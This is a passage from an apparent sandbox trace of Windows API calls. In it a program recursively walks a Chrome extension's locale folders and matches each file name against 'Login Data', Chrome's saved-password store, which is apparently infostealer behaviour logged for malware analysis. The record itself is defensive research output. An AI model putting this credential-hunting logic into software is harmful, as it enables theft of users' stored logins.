Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.834] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.834] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ja" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja" [0054.834] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja" [0054.834] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*.*" [0054.834] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.834] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.834] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.834] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.834] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.834] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.834] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.834] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.834] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.834] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.835] lstrcmpiA (lpString1=".", lpString2="ko") returned -1 [0054.835] lstrcmpiA (lpString1="..", lpString2="ko") returned -1 [0054.835] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.835] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.835] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.835] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ko" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko" [0054.835] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko" [0054.835] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*.*" [0054.835] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.835] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.835] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.835] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.835] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.835] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.835] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.835] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.835] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.835] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.835] lstrcmpiA (lpString1=".", lpString2="lt") returned -1 [0054.835] lstrcmpiA (lpString1="..", lpString2="lt") returned -1 [0054.835] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.835] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.835] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.835] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="lt" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt" [0054.835] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt" [0054.835] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\*.*" [0054.835] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.835] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.835] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.836] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.836] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.836] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.836] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.836] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.836] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.836] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.836] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.836] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="lv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv" [0054.836] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv" [0054.836] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\*.*" [0054.836] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.836] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.836] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.836] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.836] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.836] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.836] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.836] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.836] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.836] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.836] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ms" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms" [0054.836] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms" [0054.836] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\*.*" [0054.836] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.836] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.836] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.836] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.836] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.837] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.837] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.837] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.837] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.837] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.837] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="nl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl" [0054.837] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl" [0054.837] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\*.*" [0054.837] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.837] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.837] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.837] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.837] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.837] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.837] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.837] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 